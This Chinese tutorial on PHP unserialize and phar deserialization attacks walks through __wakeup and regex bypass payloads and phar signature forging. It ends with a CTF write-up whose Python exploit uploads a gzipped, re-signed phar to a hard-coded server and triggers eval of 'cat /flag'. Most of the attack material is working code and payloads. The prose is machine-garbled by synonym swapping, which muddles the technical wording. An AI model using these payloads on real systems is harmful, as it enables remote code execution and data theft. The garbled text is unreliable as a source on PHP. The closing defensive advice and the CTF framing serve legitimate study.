序列化实在便是将数据转化成一种可逆的数据构造,自然,逆向的过程就叫做反序列化。大略来说便是我在一个地方布局了一个类,但我要在另一个地方去利用它,那怎么传过去呢?于是就想到了序列化这种东西,将工具先序列化为一个字符串(数据),后续须要利用的时候再进行反序列化即可得到要利用的工具,十分方便。
来看看官方手册(https://www.php.net/manual/zh/language.oop5.serialization.php)怎么说:
所有php里面的值都可以利用函数serialize()(https://www.php.net/manual/zh/function.serialize.php)来返回一个包含字节流的字符串来表示。unserialize()(https://www.php.net/manual/zh/function.unserialize.php)函数能够重新把字符串变回php原来的值。 序列化一个工具将会保存工具的所有变量,但是不会保存工具的方法,只会保存类的名字。

为了能够unserialize()一个工具,这个工具的类必须已经定义过。如果序列化类A的一个工具,将会返回一个跟类A干系,而且包含了工具所有变量值的字符串。 如果要想在其余一个文件中反序列化一个工具,这个工具的类必须在反序列化之前定义,可以通过包含一个定义该类的文件或利用函数spl_autoload_register()(https://www.php.net/manual/zh/function.spl-autoload-register.php)来实现。
php 将数据序列化和反序列化会用到两个函数:
serialize() 将工具格式化成有序的字符串。
unserialize() 将字符串还原本钱来的工具。
序列化的目的是方便数据的传输和存储,在PHP中,序列化和反序列化一样平常用做缓存,比如session缓存,cookie等。
把稳:php中创建一个工具和反序列化得到一个工具是有所不同的,例如创建一个工具一样平常会优先调用 __construct() 方法 ,而反序列化得到一个工具若 存在 __wakeup() 方法则会优先调用它而不去实行 __construct() 。
二:常见序列化格式先容
基本上每个编程措辞都有各自的序列化和反序列化办法,格式也各不相同
像有:
二进制格式字节数组json字符串xml字符串python的opCode码 参考(https://xz.aliyun.com/t/7436)大略例子<?php$arr = array('aa', 'bb', 'cc' => 'dd');$serarr = serialize($arr);echo $serarr;var_dump($arr);
输出
a:3:{i:0;s:2:"aa";i:1;s:2:"bb";s:2:"cc";s:2:"dd";}array(3) { [0]=> string(2) "aa" [1]=> string(2) "bb" ["cc"]=> string(2) "dd"}
输出的这一串序列表示的是什么呢?
a:3:{i:0;s:2:"aa";i:1;s:2:"bb";s:2:"cc";s:2:"dd";}
a:array代表是数组,后面的3解释有三个属性。
i:代表是整型数据int,后面的0是数组下标(O代表Object,也是类)。
s:代表是字符串,后面的2是由于aa长度为2,是字符串长度值。
后面类推。
同时要把稳序列化后只有成员变量,没有成员函数。
把稳如果变量前是protected,则会在变量名前加上\x00\x00,private则会在变量名前加上\x00类名\x00,输出时一样平常须要url编码,如下:
<?phpclass test { protected $name; private $pass; function __construct($name, $pass) { $this->name = $name; $this->pass = $pass; }}$a = new test('pankas', '123');$seria = serialize($a);echo $seria.'<br/>';echo urlencode($seria);
直接输出输出则会导致不可见字符\x00的丢失。
O:4:"test":2:{s:7:"name";s:6:"pankas";s:10:"testpass";s:3:"123";}O%3A4%3A%22test%22%3A2%3A%7Bs%3A7%3A%22%00%2A%00name%22%3Bs%3A6%3A%22pankas%22%3Bs%3A10%3A%22%00test%00pass%22%3Bs%3A3%3A%22123%22%3B%7D
三:反序列化常用魔术方法
详细用法请参考 官方文档(https://www.php.net/manual/zh/language.oop5.magic.php)
__construct()//类的布局函数,创建类工具时调用 __destruct()//类的析构函数,工具销毁时调用 __call()//在工具中调用一个不可访问方法时调用 __callStatic()//用静态办法中调用一个不可访问方法时调用 __get()//得到一个类的成员变量时调用 __set()//设置一个类的成员变量时调用 __isset()//当对不可访问属性调用isset()或empty()时调用 __unset()//当对不可访问属性调用unset()时被调用。 __sleep()//实行serialize()时,先会调用这个函数 __wakeup()//实行unserialize()时,先会调用这个函数,实行后不会实行__construct()函数 __toString()//类被当成字符串时的回应方法 __invoke()//调用函数的办法调用一个工具时的回应方法 __set_state()//调用var_export()导出类时,此静态方法会被调用。 __clone()//当工具复制完成时调用 __autoload()//考试测验加载未定义的类 __debugInfo()//打印所需调试信息
四:各种绕过姿势
绕过__wakeup(CVE-2016-7124)wakeup()魔术方法在实行unserialize()时,会优先调用这个函数,而不会实行`construct()` 函数。
绕过方法:序列化字符串中表示工具属性个数的值大于真实的属性个数时会跳过__wakeup的实行。
如:
<?phpclass test{ public $a; public function __construct(){ $this->a = 'abc'; } public function __wakeup(){ $this->a='def'; } public function __destruct(){ echo $this->a; }}
其序列化后为 O:4:"test":1:{s:1:"a";s:3:"abc";}
实行反序列化 unserialize('O:4:"test":1:{s:1:"a";s:3:"abc";}');
得到结果为 def ,创造优先实行了 __wakeup() ,并没有实行 __construct()。
当我们把工具的属性个数改大时,改成 O:4:"test":2:{s:1:"a";s:3:"abc";} ,由原来的1个属性改为2个,但test 类真实的属性只有一个,这样就能绕过 __wakeup() 按没有这个魔术方法一样去实行其他相应的魔术方法。
实行反序列化 unserialize('O:4:"test":2:{s:1:"a";s:3:"abc";}');
得到结果为 abc , 创造优先实行了 __construct() ,并没有实行 __wakeup()。
__destruct()干系__destruct是PHP工具的一个魔术方法,称为析构函数,顾名思义这是当该工具被销毁的时候自动实行的一个函数。个中以下情形会触发__destruct。
主动调用unset($obj)主动调用$obj = NULL程序自动结束除此之外,PHP还拥有垃圾回收Garbage collection即我们常说的GC机制。
PHP中GC利用引用计数和回收周期自动管理内存工具,那么这时候当我们的工具变成了“垃圾”,就会被GC机制自动回收掉,回收过程中,就会调用函数的__destruct。
刚才我们提到了引用计数,实在当一个工具没有任何引用的时候,则会被视为“垃圾”,即
$a = new test();
test 工具被 变量 a 引用, 以是该工具不是“垃圾”,而如果是这样
new test();
或这样
$a = new test();$a = 1;
这样在 test 在没有被引用或在失落去引用时便会被当作“垃圾”进行回收。
如:
<?phpclass test{function __construct($i) {$this->i = $i; }function __destruct() { echo $this->i."Destroy...\n"; }}new test('1');$a = new test('2');$a = new test('3');echo "————————————<br/>";
输出
1Destroy...2Destroy...————————————3Destroy...
这里是当a第二次赋值时,test('2')失落去引用,实行__destruct,然后实行echo,当程序完了后test('3')销毁,实行它的__destruct。
举个栗子:
<?phpclass test { function __destruct(){ echo 'success!!'; }}if(isset($_REQUEST['input'])) { $a = unserialize($_REQUEST['input']); throw new Exception('lose');}
这里我们哀求输出 success!! ,但实行反序列化后得到的工具有了引用,给了 a 变量,后面程序接着就抛出一个非常,非正常结束,导致未正常完成 GC 机制,即没有实行 __destruct 。
直接布局反序列化 test 类得到:
以是我们要反序列化手动去 “销毁” 创造的工具。这里我们可以利用数组来完成。布局:
class test {}$a = serialize(array(new test, null));echo $a.'<br/>';$a = str_replace(':1', ':0', $a);//将序列化的数组下标为0的元素给为nullecho $a;
得到
a:2:{i:0;O:4:"test":0:{}i:1;N;}a:2:{i:0;O:4:"test":0:{}i:0;N;}//终极payload
传入,成功得到 success!!
我们序列化一个数组工具,考虑反序列化本字符串,由于反序列化的过程是顺序实行的,以是到第一个属性时,会将Array[0]设置为工具,同时我们又将Array[0]设置为null,这样前面的test工具便丢失了引用,就会被GC所捕获,就可以实行__destruct了。
绕过正则如preg_match('/^O:\d+/')匹配序列化字符串是否是工具字符串开头。
绕过方法
利用加号绕过(把稳在url里传参时+要编码为%2B)。利用数组工具绕过,如 serialize(array($a)); a为要反序列化的工具(序列化结果开头是a,不影响作为数组元素的$a的析构)。<?phpclass test{ public $a; public function __construct(){ $this->a = 'abc'; } public function __destruct(){ echo $this->a.PHP_EOL; }} function match($data){ if (preg_match('/^O:\d+/',$data)){ die('nonono!'); }else{ return $data; }}$a = 'O:4:"test":1:{s:1:"a";s:3:"abc";}';// +号绕过$b = str_replace('O:4','O:+4', $a);unserialize(match($b));// 将工具放入数组绕过 serialize(array($a));unserialize('a:1:{i:0;O:4:"test":1:{s:1:"a";s:3:"abc";}}');
利用引用绕过
如下,哀求输出 you success,但布局的序列化字符串中不能由 aaa
<?phpclass test { public $a; public $b; public function __construct(){ $this->a = 'aaa'; } public function __destruct(){ if($this->a === $this->b) { echo 'you success'; } }}if(isset($_REQUEST['input'])) { if(preg_match('/aaa/', $_REQUEST['input'])) { die('nonono'); } unserialize($_REQUEST['input']);}else { highlight_file(__FILE__);}
可以利用引用进行绕过
class test { public $a; public $b; public function __construct(){ $this->b = &$this->a; }}$a = serialize(new test());echo $a;//O:4:"test":2:{s:1:"a";N;s:1:"b";R:2;}
布局引用使得 $b 和 $a 地址相同从而绕过检测,达成哀求。
16进制绕过字符的过滤序列字符串中表示字符类型的s大写时,会被当成16进制解析。
举个栗子:
<?phpclass test{ public $username; public function __construct(){ $this->username = 'admin'; } public function __destruct(){ echo 'success'; }}function check($data){ if(preg_match('/username/', $data)){ echo("nonono!!!</br>"); } else{ return $data; }}// 未作处理前,会被waf拦截$a = 'O:4:"test":1:{s:8:"username";s:5:"admin";}';$a = check($a);unserialize($a);// 将小s改为大S; 做处理后 \75是u的16进制, 成功绕过$a = 'O:4:"test":1:{S:8:"\\75sername";s:5:"admin";}';$a = check($a);unserialize($a);
输出
五:phar反序列化
序言有关phar的基本先容及利用方法我以前有过总结 , 参考链接(https://pankas.top/2022/04/28/phar%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/)
同时该当重点关注官方文档(https://www.php.net/manual/zh/book.phar.php)中有关 phar 的先容 (一定要关注官方文档,官方文档yyds)
这里重点对我以前的总结进行补充。
天生phar<?phpclass TestObject {} @unlink("phar.phar");$phar = new Phar("phar.phar"); //后缀名必须为phar$phar->startBuffering();$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub$o = new TestObject();$phar->setMetadata($o); //将自定义的meta-data存入manifest$phar->addFromString("test.txt", "test"); //添加要压缩的文件//署名自动打算$phar->stopBuffering();
ps:把稳phar中存储的工具反序列化之后会被phar工具的metadata属性引用。
一些绕过办法当环境限定了phar不能涌如今前面的字符里。可以利用compress.bzip2://和compress.zlib://等绕过。compress.bzip://phar:///test.phar/test.txtcompress.bzip2://phar:///test.phar/test.txtcompress.zlib://phar:///home/sx/test.phar/test.txt
也可以利用其它协议, 如 filter 过滤器。
php://filter/read=convert.base64-encode/resource=phar://phar.phar
GIF格式验证可以通过在文件头部添加GIF89a绕过。
$phar->setStub(“GIF89a”."<?php __HALT_COMPILER(); ?>"); //设置stub//天生一个phar.phar,修正后缀名为phar.gif
过滤了__HALT_COMPILER();参考 https://guokeya.github.io/post/uxwHLckwx (事理)姿势1:
将phar文件进行gzip压缩 ,利用压缩后phar文件同样也能反序列化 (常用)
linux下利用命令gzip phar.phar 天生。姿势2:
将phar的内容写进压缩包注释中,也同样能够反序列化成功,压缩为zip也会绕过
$phar_file = serialize($exp);echo $phar_file;$zip = new ZipArchive();$res = $zip->open('1.zip',ZipArchive::CREATE);$zip->addFromString('crispr.txt', 'file content goes here');$zip->setArchiveComment($phar_file);$zip->close();
phar 文件署名修正
对付某些情形,我们须要修正phar文件中的内容而达到某些需求(比如要绕过__wakeup要修正属性数量),而修正后的phar文件由于文件发生改变,以是必要修正署名才能正常利用,官方文档中是这么说:
Phar Signature format(https://www.php.net/manual/zh/phar.fileformat.signature.php#phar.fileformat.signature)
Phars containing a signature always have the signature appended to the end of the Phar archive after the loader, manifest, and file contents. The signature formats supported at this time are MD5, SHA1, SHA256, SHA512, and OPENSSL.
用winhex或010-editor查看phar文件署名类型(以上述代码天生的phar文件为例)
以默认的sha1署名为例:
from hashlib import sha1with open('phar.phar', 'rb') as file: f = file.read() # 修正内容后的phar文件,以二进制文件形式打开 s = f[:-28] # 获取要署名的数据(对付sha1署名的phar文件,文件末端28字节为署名的格式)h = f[-8:] # 获取署名类型以及GBMB标识,各4个字节newf = s + sha1(s).digest() + h # 数据 + 署名 + (类型 + GBMB) with open('newPhar.phar', 'wb') as file: file.write(newf) # 写入新文件
运行脚本得到的 newPhar.phar 就可以正常利用啦。
案例题目来源:NSSCTF Round#4 Team-1zweb(revenge)
前面任意文件读取拿到源码就不说了,重点看它这个phar反序列化
index.php:
<?phpclass LoveNss{ public $ljt; public $dky; public $cmd; public function __construct(){//__wakeup实行后__construct并不会实行 $this->ljt="ljt"; $this->dky="dky"; phpinfo(); } public function __destruct(){ if($this->ljt==="Misc"&&$this->dky==="Re") eval($this->cmd); } public function __wakeup(){//须要绕过__wakeup,变动序列化属性个数即可绕过 $this->ljt="Re"; $this->dky="Misc"; }}$file=$_POST['file'];if(isset($_POST['file'])){ if (preg_match("/flag/i", $file)) { die("nonono"); } echo file_get_contents($file);}
upload.php:
<?phpif ($_FILES["file"]["error"] > 0){ echo "上传非常";}else{ $allowedExts = array("gif", "jpeg", "jpg", "png"); $temp = explode(".", $_FILES["file"]["name"]); $extension = end($temp); if (($_FILES["file"]["size"] && in_array($extension, $allowedExts))){ $content=file_get_contents($_FILES["file"]["tmp_name"]); $pos = strpos($content, "__HALT_COMPILER();");//ban掉了明文的stub标识 if(gettype($pos)==="integer"){ echo "ltj一眼就创造了phar"; }else{ if (file_exists("./upload/" . $_FILES["file"]["name"])){ echo $_FILES["file"]["name"] . " 文件已经存在"; }else{ $myfile = fopen("./upload/".$_FILES["file"]["name"], "w"); fwrite($myfile, $content); fclose($myfile); echo "上传成功 ./upload/".$_FILES["file"]["name"]; } } }else{ echo "dky不喜好这个文件 .".$extension; }}?>
剖析源码可知ban掉了 __HALT_COMPILER(); 标识,没有这个是不认phar的,这个可以利用gzip压缩进行绕过。
__wakeup 修正序列属性个数即可绕过,把稳修正完phar文件后还需重新署名,用上文的脚本即可。
天生phar:
<?phpclass LoveNss{ public $ljt; public $dky; public $cmd; public function __construct($ljt, $dky, $cmd){ $this->ljt = $ljt; $this->dky = $dky; $this->cmd = $cmd; }} @unlink("phar.phar");$phar = new Phar("phar.phar"); //后缀名必须为phar$phar->startBuffering();$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub$o = new LoveNss("Misc", "Re", "cat /flag");$phar->setMetadata($o); //将自定义的meta-data存入manifest$phar->addFromString("test.txt", "test"); //添加要压缩的文件//署名自动打算$phar->stopBuffering();
修正署名并上传文件,访问后触发phar反序列化拿到flag。
exp:
import requestsfrom hashlib import sha1import gzipimport redef getPhar(): with open('phar.phar', 'rb') as file: f = file.read() s = f[:-28] # 获取要署名的数据(对付sha1署名的phar文件,文件末端28字节为署名的格式) s = s.replace(b'3:{', b'4:{')# 绕过__wakeup h = f[-8:] # 获取署名类型以及GBMB标识,各4个字节 newf = s + sha1(s).digest() + h # 数据 + 署名 + (类型 + GBMB) return gzip.compress(newf)# 进行gzip压缩 def upload(file): burp0_url = "http://1.14.71.254:28403/upload.php" burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": "http://1.14.71.254:28403", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryfXBfemuGHEVNBhN8", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://1.14.71.254:28403/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"} burp0_data = b"------WebKitFormBoundaryfXBfemuGHEVNBhN8\r\nContent-Disposition: form-data; name=\"file\"; filename=\"phar.jpg\"\r\nContent-Type: image/jpeg\r\n\r\n" + file + b"\r\n------WebKitFormBoundaryfXBfemuGHEVNBhN8\r\nContent-Disposition: form-data; name=\"submit\"\r\n\r\n\r\n------WebKitFormBoundaryfXBfemuGHEVNBhN8--\r\n" # 把稳数据类型为byte类型,该当file为byte类型,相同数据类型才能合并 requests.post(burp0_url, headers=burp0_headers, data=burp0_data) def getFlag(): burp0_url = "http://1.14.71.254:28403/" burp0_headers = {"Pragma": "no-cache", "Cache-Control": "no-cache", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36", "Origin": "http://1.14.71.254:28403", "Content-Type": "application/x-www-form-urlencoded", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://1.14.71.254:28403/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"} burp0_data = {"file": "phar://./upload/phar.jpg/test.txt", "submit": ''} res = requests.post(burp0_url, headers=burp0_headers, data=burp0_data) return re.findall('(NSSCTF\{.?\})', res.text)[0] if __name__ == '__main__': upload(getPhar()) print(getFlag())
运行得到flag。
ps:把稳如果用burp代理抓包上传gzip压缩后的phar可能会有bug,burp会改变gzip数据,导致无法识别phar文件
from pank1s https://bbs.kanxue.com/user-home-952339.htm
戒备 PHP Phar 反序列化漏洞的建议:
及时更新 PHP 版本和干系扩展库,确保漏洞得到及时修复。对上传的文件进行检讨和过滤,不要信赖用户上传的文件,特殊是 Phar 文件。避免将不可信赖的数据作为反序列化的输入,可以利用白名单来限定可反序列化的类和属性。在代码中显式指定反序列化工具的类型,而不是从不可信赖的数据中推断类型。避免将反序列化操作暴露在公共接口中,尽可能减少代码的攻击面。配置 PHP 的 open_basedir 选项,限定可访问的文件目录范围,防止恶意 Phar 文件读取或修正敏感文件。监控系统日志,及时创造和相应攻击行为。须要把稳的是,以上建议只是一些基本的戒备方法,对付特定的运用处景和攻击办法,可能须要针对性的戒备方法。因此,在开拓和支配运用程序时,还须要根据详细情形综合考虑各种安全风险,并采纳相应的戒备方法。